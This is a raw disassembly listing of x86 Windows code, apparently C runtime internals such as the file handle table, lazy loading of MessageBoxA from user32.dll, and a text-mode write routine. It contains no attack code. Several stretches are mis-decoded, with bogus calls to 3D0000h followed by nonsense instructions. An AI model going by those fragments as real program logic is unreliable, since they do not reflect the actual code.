var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_42D54A: ; CODE XREF: sub_42D540+31j mov ecx, [ebp+var_4] mov edx, [ecx+4] cmp edx, [ebp+arg_0] jz short loc_42D573 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, ds:dword_4505FC imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_42D573 jmp short loc_42D54A ; --------------------------------------------------------------------------- loc_42D573: ; CODE XREF: sub_42D540+13j ; sub_42D540+2Fj mov eax, ds:dword_4505FC imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_42D595 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jnz short loc_42D595 mov eax, [ebp+var_4] jmp short loc_42D597 ; --------------------------------------------------------------------------- loc_42D595: ; CODE XREF: sub_42D540+43j ; sub_42D540+4Ej xor eax, eax loc_42D597: ; CODE XREF: sub_42D540+53j mov esp, ebp pop ebp retn sub_42D540 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_425C30 add eax, 58h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D5B0 proc near ; CODE XREF: seg000:0042F789p push ebp mov ebp, esp call sub_425C30 add eax, 54h pop ebp retn sub_42D5B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D5C0 proc near ; CODE XREF: sub_4211A0+2CEp ; sub_42CB30+1B0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 cmp ds:dword_4EEBAC, 0 jnz short loc_42D633 push offset aUser32_dll_0 ; "user32.dll" call ds:dword_4F130C ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_42D607 push offset aMessageboxa ; "MessageBoxA" mov eax, [ebp+var_8] push eax call ds:dword_4F1314 mov ds:dword_4EEBAC, eax cmp ds:dword_4EEBAC, 0 jnz short loc_42D60B loc_42D607: ; CODE XREF: sub_42D5C0+28j xor eax, eax jmp short loc_42D677 ; --------------------------------------------------------------------------- loc_42D60B: ; CODE XREF: sub_42D5C0+45j push offset aGetactivewindo ; "GetActiveWindow" mov ecx, [ebp+var_8] push ecx call ds:dword_4F1314 mov ds:dword_4EEBB0, eax push offset aGetlastactivep ; "GetLastActivePopup" mov edx, [ebp+var_8] push edx call ds:dword_4F1314 mov ds:dword_4EEBB4, eax loc_42D633: ; CODE XREF: sub_42D5C0+14j cmp ds:dword_4EEBB0, 0 jz short loc_42D645 call ds:dword_4EEBB0 mov [ebp+var_4], eax loc_42D645: ; CODE XREF: sub_42D5C0+7Aj cmp [ebp+var_4], 0 jz short loc_42D661 cmp ds:dword_4EEBB4, 0 jz short loc_42D661 mov eax, [ebp+var_4] push eax call ds:dword_4EEBB4 mov [ebp+var_4], eax loc_42D661: ; CODE XREF: sub_42D5C0+89j ; sub_42D5C0+92j mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call ds:dword_4EEBAC loc_42D677: ; CODE XREF: sub_42D5C0+49j mov esp, ebp pop ebp retn sub_42D5C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D680 proc near ; CODE XREF: seg000:loc_42DB12p ; sub_42E310:loc_42E5A9p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push esi mov [ebp+var_8], 0FFFFFFFFh push 12h call sub_421A80 add esp, 4 mov [ebp+var_C], 0 jmp short loc_42D6AA ; --------------------------------------------------------------------------- loc_42D6A1: ; CODE XREF: sub_42D680:loc_42D84Bj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_42D6AA: ; CODE XREF: sub_42D680+1Fj cmp [ebp+var_C], 40h jge loc_42D850 mov ecx, [ebp+var_C] cmp ds:dword_4EED20[ecx*4], 0 jz loc_42D7B6 mov edx, [ebp+var_C] mov eax, ds:dword_4EED20[edx*4] mov [ebp+var_4], eax jmp short loc_42D6DD ; --------------------------------------------------------------------------- loc_42D6D4: ; CODE XREF: sub_42D680+F1j ; sub_42D680:loc_42D7A1j mov ecx, [ebp+var_4] add ecx, 24h mov [ebp+var_4], ecx loc_42D6DD: ; CODE XREF: sub_42D680+52j mov edx, [ebp+var_C] mov eax, ds:dword_4EED20[edx*4] add eax, 480h cmp [ebp+var_4], eax jnb loc_42D7A6 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jnz loc_42D7A1 mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_42D749 push 11h call sub_421A80 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_42D73F mov edx, [ebp+var_4] add edx, 0Ch push edx call ds:dword_4F1444 ; InitializeCriticalSection mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_42D73F: ; CODE XREF: sub_42D680+A1j push 11h call sub_421B20 add esp, 4 loc_42D749: ; CODE XREF: sub_42D680+8Ej mov eax, [ebp+var_4] add eax, 0Ch push eax call ds:dword_4F1364 ; RtlEnterCriticalSection mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jz short loc_42D776 mov eax, [ebp+var_4] add eax, 0Ch push eax call ds:dword_4F1360 ; RtlLeaveCriticalSection jmp loc_42D6D4 ; --------------------------------------------------------------------------- loc_42D776: ; CODE XREF: sub_42D680+E2j mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov ecx, [ebp+var_C] shl ecx, 5 mov edx, [ebp+var_C] mov eax, [ebp+var_4] sub eax, ds:dword_4EED20[edx*4] cdq mov esi, 24h idiv esi add ecx, eax mov [ebp+var_8], ecx jmp short loc_42D7A6 ; --------------------------------------------------------------------------- loc_42D7A1: ; CODE XREF: sub_42D680+81j jmp loc_42D6D4 ; --------------------------------------------------------------------------- loc_42D7A6: ; CODE XREF: sub_42D680+6Fj ; sub_42D680+11Fj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_42D7B1 jmp loc_42D850 ; --------------------------------------------------------------------------- loc_42D7B1: ; CODE XREF: sub_42D680+12Aj jmp loc_42D84B ; --------------------------------------------------------------------------- loc_42D7B6: ; CODE XREF: sub_42D680+3Fj push 79h push offset aOsfinfo_c ; "osfinfo.c" push 2 push 480h call sub_41AE60 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42D849 mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov ds:dword_4EED20[eax*4], ecx mov edx, ds:dword_4EEE20 add edx, 20h mov ds:dword_4EEE20, edx jmp short loc_42D7FC ; --------------------------------------------------------------------------- loc_42D7F3: ; CODE XREF: sub_42D680+1B2j mov eax, [ebp+var_4] add eax, 24h mov [ebp+var_4], eax loc_42D7FC: ; CODE XREF: sub_42D680+171j mov ecx, [ebp+var_C] mov edx, ds:dword_4EED20[ecx*4] add edx, 480h cmp [ebp+var_4], edx jnb short loc_42D834 mov eax, [ebp+var_4] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_4] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_4] mov dword ptr [eax+8], 0 jmp short loc_42D7F3 ; --------------------------------------------------------------------------- loc_42D834: ; CODE XREF: sub_42D680+18Fj mov ecx, [ebp+var_C] shl ecx, 5 mov [ebp+var_8], ecx mov edx, [ebp+var_8] push edx call sub_42DB90 add esp, 4 loc_42D849: ; CODE XREF: sub_42D680+153j jmp short loc_42D850 ; --------------------------------------------------------------------------- loc_42D84B: ; CODE XREF: sub_42D680:loc_42D7B1j jmp loc_42D6A1 ; --------------------------------------------------------------------------- loc_42D850: ; CODE XREF: sub_42D680+2Ej ; sub_42D680+12Cj ... push 12h call sub_421B20 add esp, 4 mov eax, [ebp+var_8] pop esi mov esp, ebp pop ebp retn sub_42D680 endp ; --------------------------------------------------------------------------- align 10h loc_42D870: ; CODE XREF: seg000:0042DB43p ; sub_42E310+379p push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, ds:dword_4EEE20 jnb loc_42D90A mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jnz short loc_42D90A cmp ds:dword_44FD34, 1 jnz short loc_42D8EA mov ecx, [ebp+8] mov [ebp-4], ecx cmp dword ptr [ebp-4], 0 jz short loc_42D8C2 cmp dword ptr [ebp-4], 1 jz short near ptr loc_42D8CF+1 cmp dword ptr [ebp-4], 2 jz short near ptr loc_42D8DD+1 jmp short loc_42D8EA ; --------------------------------------------------------------------------- loc_42D8C2: ; CODE XREF: seg000:0042D8B2j mov edx, [ebp+0Ch] push edx push 0FFFFFFF6h call near ptr 3D0000h adc ebx, ebp loc_42D8CF: ; CODE XREF: seg000:0042D8B8j sbb cl, [ebx+6A500C45h] cmc call near ptr 3D0000h or al, 0EBh loc_42D8DD: ; CODE XREF: seg000:0042D8BEj or al, 8Bh dec ebp or al, 51h push 0FFFFFFF4h call near ptr 3D0000h aas loc_42D8EA: ; CODE XREF: seg000:0042D8A6j ; seg000:0042D8C0j mov edx, [ebp+8] sar edx, 5 mov eax, [ebp+8] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4EED20[edx*4] mov edx, [ebp+0Ch] mov [ecx+eax], edx xor eax, eax jmp short loc_42D923 ; --------------------------------------------------------------------------- loc_42D90A: ; CODE XREF: seg000:0042D87Dj ; seg000:0042D89Dj call sub_4267E0 mov dword ptr [eax], 9 call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_42D923: ; CODE XREF: seg000:0042D908j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_42D930: ; CODE XREF: sub_421530+69p push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, ds:dword_4EEE20 jnb loc_42D9EB mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz loc_42D9EB mov edx, [ebp+8] sar edx, 5 mov eax, [ebp+8] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4EED20[edx*4] cmp dword ptr [ecx+eax], 0FFFFFFFFh jz short loc_42D9EB cmp ds:dword_44FD34, 1 jnz short near ptr loc_42D9C9+1 mov edx, [ebp+8] mov [ebp-4], edx cmp dword ptr [ebp-4], 0 jz short loc_42D9A8 cmp dword ptr [ebp-4], 1 loc_42D99E: ; CODE XREF: seg000:0042D9B1j jz short loc_42D9B4 cmp dword ptr [ebp-4], 2 jz short near ptr loc_42D9BF+1 jmp short near ptr loc_42D9C9+1 ; --------------------------------------------------------------------------- loc_42D9A8: ; CODE XREF: seg000:0042D998j push 0 push 0FFFFFFF6h call near ptr 3D0000h jo short loc_42D99E push ss loc_42D9B4: ; CODE XREF: seg000:loc_42D99Ej push 0 push 0FFFFFFF5h call near ptr 3D0000h mov dl, 0EBh loc_42D9BF: ; CODE XREF: seg000:0042D9A4j or ch, [edx+0] push 0FFFFFFF4h call near ptr 3D0000h loc_42D9C9: ; CODE XREF: seg000:0042D98Cj ; seg000:0042D9A6j sbb cl, [ebx-73EF7BBh] add eax, 83084D8Bh loope near ptr loc_42D9F0+5 imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov dword ptr [edx+ecx], 0FFFFFFFFh xor eax, eax jmp short loc_42DA04 ; --------------------------------------------------------------------------- loc_42D9EB: ; CODE XREF: seg000:0042D93Dj ; seg000:0042D963j ... call sub_4267E0 loc_42D9F0: ; CODE XREF: seg000:0042D9D4j mov dword ptr [eax], 9 call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_42DA04: ; CODE XREF: seg000:0042D9E9j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DA10 proc near ; CODE XREF: sub_421530+9p ; sub_421530+24p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, ds:dword_4EEE20 jnb short loc_42DA5B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz short loc_42DA5B mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4EED20[edx*4] mov eax, [ecx+eax] jmp short loc_42DA74 ; --------------------------------------------------------------------------- loc_42DA5B: ; CODE XREF: sub_42DA10+Cj ; sub_42DA10+2Ej call sub_4267E0 mov dword ptr [eax], 9 call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_42DA74: ; CODE XREF: sub_42DA10+49j pop ebp retn sub_42DA10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch mov byte ptr [ebp-0Ch], 0 mov eax, [ebp+0Ch] and eax, 8 test eax, eax jz short loc_42DA9D mov cl, [ebp-0Ch] or cl, 20h mov [ebp-0Ch], cl loc_42DA9D: ; CODE XREF: seg000:0042DA92j mov edx, [ebp+0Ch] and edx, 4000h test edx, edx jz short loc_42DAB2 mov al, [ebp-0Ch] or al, 80h mov [ebp-0Ch], al loc_42DAB2: ; CODE XREF: seg000:0042DAA8j mov ecx, [ebp+0Ch] and ecx, 80h test ecx, ecx jz short loc_42DAC8 mov dl, [ebp-0Ch] or dl, 10h mov [ebp-0Ch], dl loc_42DAC8: ; CODE XREF: seg000:0042DABDj mov eax, [ebp+8] push eax call near ptr 3D0000h adc ecx, [ecx+7D83FC45h] cld add [ebp+17h], dh call ds:dword_4F1310 ; RtlGetLastWin32Error push eax call sub_426740 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42DB80 ; --------------------------------------------------------------------------- cmp dword ptr [ebp-4], 2 jnz short loc_42DB03 mov cl, [ebp-0Ch] or cl, 40h mov [ebp-0Ch], cl jmp short loc_42DB12 ; --------------------------------------------------------------------------- loc_42DB03: ; CODE XREF: seg000:0042DAF6j cmp dword ptr [ebp-4], 3 jnz short loc_42DB12 mov dl, [ebp-0Ch] or dl, 8 mov [ebp-0Ch], dl loc_42DB12: ; CODE XREF: seg000:0042DB01j ; seg000:0042DB07j call sub_42D680 mov [ebp-8], eax cmp dword ptr [ebp-8], 0FFFFFFFFh jnz short loc_42DB3B call sub_4267E0 mov dword ptr [eax], 18h call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42DB80 ; --------------------------------------------------------------------------- loc_42DB3B: ; CODE XREF: seg000:0042DB1Ej mov eax, [ebp+8] push eax mov ecx, [ebp-8] push ecx call loc_42D870 add esp, 8 mov dl, [ebp-0Ch] or dl, 1 mov [ebp-0Ch], dl mov eax, [ebp-8] sar eax, 5 mov ecx, [ebp-8] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov al, [ebp-0Ch] mov [edx+ecx+4], al mov ecx, [ebp-8] push ecx call sub_42DC20 add esp, 4 mov eax, [ebp-8] loc_42DB80: ; CODE XREF: seg000:0042DAEDj ; seg000:0042DB39j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DB90 proc near ; CODE XREF: sub_4214B0+50p ; sub_424040+50p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_42DBF1 push 11h call sub_421A80 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_42DBE7 mov edx, [ebp+var_4] add edx, 0Ch push edx call ds:dword_4F1444 ; InitializeCriticalSection mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_42DBE7: ; CODE XREF: sub_42DB90+39j push 11h call sub_421B20 add esp, 4 loc_42DBF1: ; CODE XREF: sub_42DB90+26j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] lea eax, [edx+ecx+0Ch] push eax call ds:dword_4F1364 ; RtlEnterCriticalSection mov esp, ebp pop ebp retn sub_42DB90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DC20 proc near ; CODE XREF: sub_4214B0+6Bp ; sub_424040+73p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] lea eax, [edx+ecx+0Ch] push eax call ds:dword_4F1360 ; RtlLeaveCriticalSection pop ebp retn sub_42DC20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DC50 proc near ; CODE XREF: sub_4216D0+2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4EEE20 jnb short loc_42DC81 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42DC94 loc_42DC81: ; CODE XREF: sub_42DC50+Dj call sub_4267E0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_42DD1E ; --------------------------------------------------------------------------- loc_42DC94: ; CODE XREF: sub_42DC50+2Fj mov edx, [ebp+arg_0] push edx call sub_42DB90 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 1 test eax, eax jz short loc_42DCFD mov ecx, [ebp+arg_0] push ecx call sub_42DA10 add esp, 4 push eax call near ptr 3D0000h pop ds test eax, eax jnz short loc_42DCE4 call ds:dword_4F1310 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_42DCEB ; --------------------------------------------------------------------------- loc_42DCE4: ; CODE XREF: sub_42DC50+87j mov [ebp+var_4], 0 loc_42DCEB: ; CODE XREF: sub_42DC50+92j cmp [ebp+var_4], 0 jnz short loc_42DCF3 jmp short loc_42DD0F ; --------------------------------------------------------------------------- loc_42DCF3: ; CODE XREF: sub_42DC50+9Fj call sub_4267F0 mov edx, [ebp+var_4] mov [eax], edx loc_42DCFD: ; CODE XREF: sub_42DC50+70j call sub_4267E0 mov dword ptr [eax], 9 mov [ebp+var_4], 0FFFFFFFFh loc_42DD0F: ; CODE XREF: sub_42DC50+A1j mov eax, [ebp+arg_0] push eax call sub_42DC20 add esp, 4 mov eax, [ebp+var_4] loc_42DD1E: ; CODE XREF: sub_42DC50+3Fj mov esp, ebp pop ebp retn sub_42DC50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DD30 proc near ; CODE XREF: sub_421720+57p ; sub_424A30+1C9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4EEE20 jnb short loc_42DD61 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42DD7C loc_42DD61: ; CODE XREF: sub_42DD30+Dj call sub_4267E0 mov dword ptr [eax], 9 call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42DDAE ; --------------------------------------------------------------------------- loc_42DD7C: ; CODE XREF: sub_42DD30+2Fj mov edx, [ebp+arg_0] push edx call sub_42DB90 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42DDC0 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_42DC20 add esp, 4 mov eax, [ebp+var_4] loc_42DDAE: ; CODE XREF: sub_42DD30+4Aj mov esp, ebp pop ebp retn sub_42DD30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DDC0 proc near ; CODE XREF: sub_42DD30+64p ; sub_432CF0+145p var_74DC8B40 = qword ptr -74DC8B40h var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_418 = dword ptr -418h var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov [ebp+var_10], 0 mov eax, [ebp+var_10] mov [ebp+var_420], eax cmp [ebp+arg_8], 0 jnz short loc_42DDE6 xor eax, eax jmp loc_42E02F ; --------------------------------------------------------------------------- loc_42DDE6: ; CODE XREF: sub_42DDC0+1Dj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 20h test ecx, ecx jz short loc_42DE18 push 2 push 0 mov edx, [ebp+arg_0] push edx call sub_42B770 add esp, 0Ch loc_42DE18: ; CODE XREF: sub_42DDC0+46j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h test eax, eax jz loc_42DF4C mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx mov [ebp+var_C], 0 loc_42DE4D: ; CODE XREF: sub_42DDC0:loc_42DF45j mov edx, [ebp+var_4] sub edx, [ebp+arg_4] cmp edx, [ebp+arg_8] jnb loc_42DF4A lea eax, [ebp+var_414] mov [ebp+var_8], eax loc_42DE65: ; CODE XREF: sub_42DDC0+115j mov ecx, [ebp+var_8] lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jge short loc_42DED7 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jnb short loc_42DED7 mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_41C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax movsx ecx, [ebp+var_41C] cmp ecx, 0Ah jnz short loc_42DEC1 mov edx, [ebp+var_420] add edx, 1 mov [ebp+var_420], edx mov eax, [ebp+var_8] mov byte ptr [eax], 0Dh mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_42DEC1: ; CODE XREF: sub_42DDC0+E1j mov edx, [ebp+var_8] mov al, [ebp+var_41C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx jmp short loc_42DE65 ; --------------------------------------------------------------------------- loc_42DED7: ; CODE XREF: sub_42DDC0+B6j ; sub_42DDC0+C1j push 0 lea edx, [ebp+var_418] push edx mov eax, [ebp+var_8] lea ecx, [ebp+var_414] sub eax, ecx push eax lea edx, [ebp+var_414] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov eax, [edx+ecx] push eax call near ptr 3D0000h fadd [ebp+var_74DC8B40] dec ebp lock add ecx, [ebp+var_418] mov [ebp+var_10], ecx mov edx, [ebp+var_8] lea eax, [ebp+var_414] sub edx, eax cmp [ebp+var_418], edx jge short loc_42DF38 jmp short loc_42DF4A ; --------------------------------------------------------------------------- loc_42DF38: ; CODE XREF: sub_42DDC0+174j jmp short loc_42DF45 ; --------------------------------------------------------------------------- call ds:dword_4F1310 ; RtlGetLastWin32Error mov [ebp+var_C], eax jmp short loc_42DF4A ; --------------------------------------------------------------------------- loc_42DF45: ; CODE XREF: sub_42DDC0:loc_42DF38j jmp loc_42DE4D ; --------------------------------------------------------------------------- loc_42DF4A: ; CODE XREF: sub_42DDC0+96j ; sub_42DDC0+176j ... jmp short loc_42DF9C ; --------------------------------------------------------------------------- loc_42DF4C: ; CODE XREF: sub_42DDC0+7Aj push 0 lea ecx, [ebp+var_418] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] mov ecx, [eax+edx] push ecx call near ptr 3D0000h movsd test eax, eax jz short loc_42DF93 mov [ebp+var_C], 0 mov edx, [ebp+var_418] mov [ebp+var_10], edx jmp short loc_42DF9C ; --------------------------------------------------------------------------- loc_42DF93: ; CODE XREF: sub_42DDC0+1BFj call ds:dword_4F1310 ; RtlGetLastWin32Error mov [ebp+var_C], eax loc_42DF9C: ; CODE XREF: sub_42DDC0:loc_42DF4Aj ; sub_42DDC0+1D1j cmp [ebp+var_10], 0 jnz loc_42E026 cmp [ebp+var_C], 0 jz short loc_42DFDA cmp [ebp+var_C], 5 jnz short loc_42DFC9 call sub_4267E0 mov dword ptr [eax], 9 call sub_4267F0 mov ecx, [ebp+var_C] mov [eax], ecx jmp short loc_42DFD5 ; --------------------------------------------------------------------------- loc_42DFC9: ; CODE XREF: sub_42DDC0+1F0j mov edx, [ebp+var_C] push edx call sub_426740 add esp, 4 loc_42DFD5: ; CODE XREF: sub_42DDC0+207j or eax, 0FFFFFFFFh jmp short loc_42E02F ; --------------------------------------------------------------------------- loc_42DFDA: ; CODE XREF: sub_42DDC0+1EAj mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 40h test eax, eax jz short loc_42E00B mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] cmp edx, 1Ah jnz short loc_42E00B xor eax, eax jmp short loc_42E02F ; --------------------------------------------------------------------------- loc_42E00B: ; CODE XREF: sub_42DDC0+23Aj ; sub_42DDC0+245j call sub_4267E0 mov dword ptr [eax], 1Ch call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42E02F ; --------------------------------------------------------------------------- loc_42E026: ; CODE XREF: sub_42DDC0+1E0j mov eax, [ebp+var_10] sub eax, [ebp+var_420] ; CODE XREF: seg000:0042E0A6j loc_42E02F: ; CODE XREF: sub_42DDC0+21j ; sub_42DDC0+218j ... mov esp, ebp pop ebp retn sub_42DDC0 endp ; --------------------------------------------------------------------------- align 10h loc_42E040: ; CODE XREF: sub_423D90+98p ; sub_4262B0+ECp ... push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43A600 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov [ebp-18h], esp cmp ds:dword_4EEBB8, 0 jnz short loc_42E0BE lea eax, [ebp-1Ch] push eax push 1 push offset dword_43A2A8 push 1 call ds:dword_4F12CC ; GetStringTypeW test eax, eax jz short loc_42E092 mov ds:dword_4EEBB8, 1 jmp short loc_42E0BE ; --------------------------------------------------------------------------- loc_42E092: ; CODE XREF: seg000:0042E084j lea ecx, [ebp-1Ch] push ecx push 1 push offset dword_43A2A4 push 1 push 0 call near ptr 3D0000h jb short near ptr loc_42E029+4 sal byte ptr [esp+ecx-39h], 5 mov eax, 2004EEBh ; --------------------------------------------------------------------------- dw 0 dd 3307EB00h, 12AE9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E0BE: ; CODE XREF: seg000:0042E06Dj ; seg000:0042E090j cmp ds:dword_4EEBB8, 2 jnz short near ptr loc_42E0F4+1 cmp dword ptr [ebp+1Ch], 0 jnz short loc_42E0D6 mov edx, ds:dword_4EEA70 mov [ebp+1Ch], edx loc_42E0D6: ; CODE XREF: seg000:0042E0CBj mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax mov ecx, [ebp+1Ch] push ecx call near ptr 3D0000h cmp cl, ch rep add [eax], al loc_42E0F4: ; CODE XREF: seg000:0042E0C5j add [ebx+4EEBB83Dh], al add [ecx], al jnz loc_42E1E6 